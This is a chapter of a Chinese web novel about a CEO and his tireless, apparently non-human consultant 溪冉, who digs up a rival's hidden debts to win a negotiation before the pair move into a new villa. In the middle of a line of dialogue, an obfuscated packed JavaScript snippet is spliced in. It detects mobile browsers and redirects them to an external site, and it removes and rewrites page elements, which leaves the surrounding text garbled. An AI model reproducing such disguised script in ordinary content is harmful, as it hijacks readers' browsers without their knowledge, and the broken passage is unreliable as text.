下午三点,裴氏集团顶层会议室。
加州睿生金融的七位高管在巨幅屏幕上依次排开,为首的总经理安德森指尖敲击桌面,蓝眼睛里透着老牌资本的傲慢。
“裴先生,15%的持股比例是底线,低于这个数字,我们没有谈下去的必要。”
裴西叙坐在主位,骨节分明的手指轻叩桌面。
他尚未开口,侧席的溪冉忽然将一份批注了红色字迹的文件推到他手边。那是她用半小时拆解的睿生金融债务链,包括南非钻石矿项目被套牢12亿美金,季度财报里隐藏的欧洲信托违约条款,甚至安德森本人在拉斯维加斯的赌债流水。
“安德森先生,”裴西叙拿起文件,看着这一叠文件,底气更足了,“贵公司六月在开普敦的矿产并购案,合作伙伴罗德曼集团已于上周申请破产保护,这意味着12亿美金的预付款恐成坏账。如果裴氏以15%持股注资,恐怕贵公司连下季度的利息都难以支付。”
屏幕那头的财务总监猛地抬头,安德森的笑容僵在脸上。
溪冉通过系统和数据库分析安德森的表情:目标瞳孔收缩0.7毫米。
溪冉在裴西叙耳边低声道:“他紧张了。”
“裴总似乎对睿生的内务很感兴趣。”安德森的脸色很不好。
“商业合作,坦诚最重要。”裴西叙将文件轻轻推回,“12%的持股,裴氏不仅注资,还开放东南亚奢侈品渠道。这是我最后一次报价。”
安德森透过屏幕看着裴西叙,一言不发。
裴西叙侧头对溪冉:“没问题吧?”
溪冉点头:“没问题。”
本来是裴氏的重要事项,各位管理层人员准备了小半年,就等着这次会议的最后谈判,但现在他们倒成了背景板了。
市场部主管扯了扯小陈的衣袖:“小陈助理,这个溪冉顾问,到底什么来头?为什么裴总对她言听计从的?”
小陈低声道:“很厉害的人物。总之,别得罪她,最好别搭理她。”
如果他们得罪了溪冉,裴总会怎么做他不清楚,但是他很难保证溪冉不会做出什么事情来。而且,溪冉的脑回路与常人不同,他不知道随便的一句话她会怎么理解,会不会造成什么严重的后果。最重要的是,他不能保证溪冉不会说出自己的来历和身份。万一说了出来,那麻烦可就大了。
小陈抬头,悄悄看了一眼虔诚地听溪冉分析数据的裴西叙,咽了咽口水。
对裴西叙来说,溪冉就是他大展宏图的制胜法宝,除非到了不可收拾的地步,否则,他不会放弃溪冉的。
-
接下来的三个小时,谈判陷入拉锯。
当对方提出技术专利保留条款,溪冉便递上睿生在德国的专利侵权诉讼文件;当对方要求保留三个董事会席位,她便展示裴氏在伦敦备选的三家投行合作意向书。
她全程沉默,指尖在平板上飞速滑动,把对方玩弄在股掌之中。
裴西叙则充当发言人,一步步逼着对方退让。
最终安德森签字时,背景里传来财务总监压抑的咒骂。会议室爆发出低低的惊叹,市场部主管激动得差点打翻咖啡杯:“裴总,您是怎么知道睿生金融……”
裴西叙看向溪冉,她正低头放空。
“公开信息而已。老周,这次合作要开通东南亚的奢侈品渠道,你带着市场部要格外注意,睿生的人不能完全相信。”
“明白。”
等人散尽,会议室只剩裴西叙和溪冉两个人。
裴西叙揉着发胀的太阳穴:“谢了,这个大麻烦总算是解决了。”
“职责所在。”溪冉抬眸,“依据地球企业薪酬体系,此次谈判成果超额达成预设目标,符合绩效奖励条款,参与人员应获得对应奖金。”
裴西叙失笑:“没问题,我会让小陈安排。”
-
傍晚六点,裴西叙刚用冷水拍过脸,打算早点把与睿生的方案做完,小陈就敲响房间的门。
“裴总,裴董得知别墅这边的事情,提前回来了,现在在来酒店的路上,还说……还说带了赵家大小姐。”
“赵家?”裴西叙擦脸的动作一顿,毛巾上的水珠滴在白衬衫领口。
“就是做珠宝的赵氏集团。赵然小姐刚从圣马丁毕业,裴董说,赵然小姐听说您现在的事业辉煌,将裴氏发展得很好,并且小时候和您见过,对您一见倾心……”小陈话没说完,套房门铃炸响。
裴西叙深吸一口气,对正在研究人类食谱的溪冉比了个“噤声”手势:“你先回卧室,别出声。”
溪冉点点头,刚闪身进卧室,大门就被推开。
裴董带着赵然和两个助理闯进来。
“裴西叙!”裴董将鳄鱼皮手袋砸在茶几上,“别墅怎么回事?你给我解释清楚,老娘在你出生那天买的别墅,怎么就被炸得连棵树都不剩了?!”
小陈被吓了一跳,默默躲到一旁,以免被战火波及。
“妈,是燃气爆炸,消防报告都出来了。”裴西叙把她按在沙发上,“只是一场意外,不是我干的。”
赵然适时递上保温杯,声音甜得像加了蜜:“裴阿姨您别生气,西叙哥年轻有为,一栋别墅而已,两天就挣回来了。”
裴西叙:“……”这高帽戴得他头皮发麻。
正是因为他这位母亲当年雷厉风行,短短二十年将裴氏规模翻了几番,他才从小被架在高处。
当其他人的目标都是同伴或是一所好大学时,他的目标已经是他的母亲。
可哪儿有那么容易?裴董驰骋商界那些年,正是经济腾飞的好时候,现在死气沉沉的,他能撑着不让裴氏亏钱已经不容易了,更何况,论经商,他的确比不上裴董……
“然然,你不用帮他说话,他是我儿子,我能不知道他几斤几两吗?”裴董缓了缓,把裴西叙推到一边,四处打量酒店,“这段时间你就住这儿?”
“嗯……”裴西叙有些心虚。
虽然溪冉平时住隔壁,但现在人在他的卧室,要是裴董推开卧室门,看见溪冉……更解释不清楚了。
好在裴董也不是控制欲很强的人,只是单纯觉得这里长期住着不行。
“没让人随便收拾一间?住这里像什么样子。”裴董嫌弃道,“本来就没有人气,还住这种没有人气的地方。”
作为特助,小陈的工作除了辅助部分裴氏的琐事、裴总的个人生活,还要负责发挥自己的高情商打圆场。
“裴董,裴总,城西的云栖别墅管家来电话,说已经按吩咐收拾好了,正在做全屋消毒,今晚就能入住。”
裴董看向小陈:“云栖别墅?”
显然,她已经不记得云栖别墅在哪里了。
“是您在裴总考上北城大学那年,在北城大学附近的七里泊边买的那栋。”小陈语速飞快。
裴西叙立刻接话:“对,妈,我正想跟您说,那边别墅出事之后,我就让小陈让人收拾新的住处了,就是云栖别墅。”
“搬到那边也好,离市区和公司都更近。”裴董狐疑地看了看裴西叙,最终哼了声,转向赵然,“儿子,你跟然然小时候就认识,这孩子刚回国,对这块儿不熟悉,你多带她出去转转。”
裴西叙赶紧拒绝:“妈,睿生金融的方案还没出来,最近忙得很,恐怕我没有时间。”
“那就等睿生的事情忙完。”裴董也不强求,“你先忙吧。然然,走,我们去逛逛。”
-
裴董离开后,溪冉从卧室出来。
裴西叙倒了杯冰水压惊:“溪冉,以后你跟我住云栖别墅。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290486|182666||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明白。”溪冉调出云栖别墅的卫星图像,“建筑面积1200平方米,配备安保系统,防御等级高于前别墅31%。”
裴西叙拿水的手一顿:“防御等级再高,也禁不起你炸一下。”
裴西叙也不指望溪冉能听懂他的言外之意,把杯子放到旁边:“这边离市区更近,万一再炸了,消防、警方那边都不好交代,你一定不能再炸了。”
溪冉点头:“明白。”
但愿是真的明白……
-
两小时后,黑色迈巴赫驶入云栖别墅,别墅的管家早已候在门口,见到裴西叙立刻躬身:“裴总,已经全部收拾好了,一切生活用品都按照您的标准准备好了。”
管家犹豫着看向溪冉:“这位小姐的房间……”
“收拾在我隔壁。”裴西叙言简意赅。
管家:“明白。”
“但是……”
“又有什么事?”
管家低头:“陈助理没有给我这位小姐的数据,所以衣服都是按照均码准备的。”
小陈补充:“裴总,是不是找个时间带溪冉小姐去量尺寸?”
裴西叙点头:“嗯,明天吧。”
裴西叙看向溪冉:“明天下午带你去量尺寸。这几天走不开,明天我让小陈再给你买几身成衣,定做的要过段时间才能送过来。”
“好。”
管家引路,水晶吊灯的光晕洒落在地砖上,光影流转。
裴西叙指了指二楼:“你的房间在二楼左转第一间,衣帽间也在里面。”
“好。”溪冉应声,目光却掠过墙角的智能温控屏,“室内恒温22℃,湿度45%,符合人体舒适区间标准。”
裴西叙不由轻笑:“你再分析下去,管家该担心饭碗不保了。”
管家合在身前的手微微一紧,默默垂眼。
-
深夜,裴西叙端着杯子出来煮咖啡,正撞见溪冉对着烤箱皱眉。
她按食谱步骤摆好的烤盘歪歪斜斜,隔热手套还套反了一只。
“需要帮忙?”他靠在门框上,看她试图用数据分析烘焙时间。
溪冉头也不抬:“程序显示预热温度已达标,但传感器反馈存在3℃波动。”
话音未落,烤箱突然发出滋啦声响。
“人类做饭靠直觉,不是数据。比如这个温度,”他调小旋钮,“刚好能让蛋白霜成型又不焦。”
裴西叙好奇:“怎么突然自己进厨房?”
“想试试。”在这个世界,她不是具备强大杀伤力的武器,不需要被放入充能箱分析数据,她也就闲了下来。除了帮裴西叙分析数据、制定方案,她找不到别的事情做,而她不需要睡觉。
对她而言,生命是无限、无休的。
溪冉抓住他的手腕:“明天的会议资料,我整理出三个风险点,发你邮箱了。”
月光透过厨房的落地窗漫进来,把两人的影子拉得很长。
“我看过了。”他声音放柔了些,“睡吧,数据分析达人。”
溪冉松开手时,指尖不小心勾了下他的衬衫纽扣。
裴西叙问:“你是不是不需要睡觉?”
到现在为止,他从来没见她困过、累过,也不可能偷看她是不是在睡觉。
“嗯。”
“知道睡觉是什么吗?”
“知道,但我不需要。”
“不需要不代表不能做。”裴西叙关了烤箱,推着溪冉回房,“换好睡衣,掀开被子躺进去,把被子盖到肩膀的位置,闭上眼睛,均匀呼吸,什么都不要想,让自己彻底放空,明天早上八点再睁眼,这就是你今天晚上需要做的事情。”
不能让她觉得太无聊,不然万一溪冉辞职不干了,裴西叙就再也找不到这么能干的保镖兼顾问了。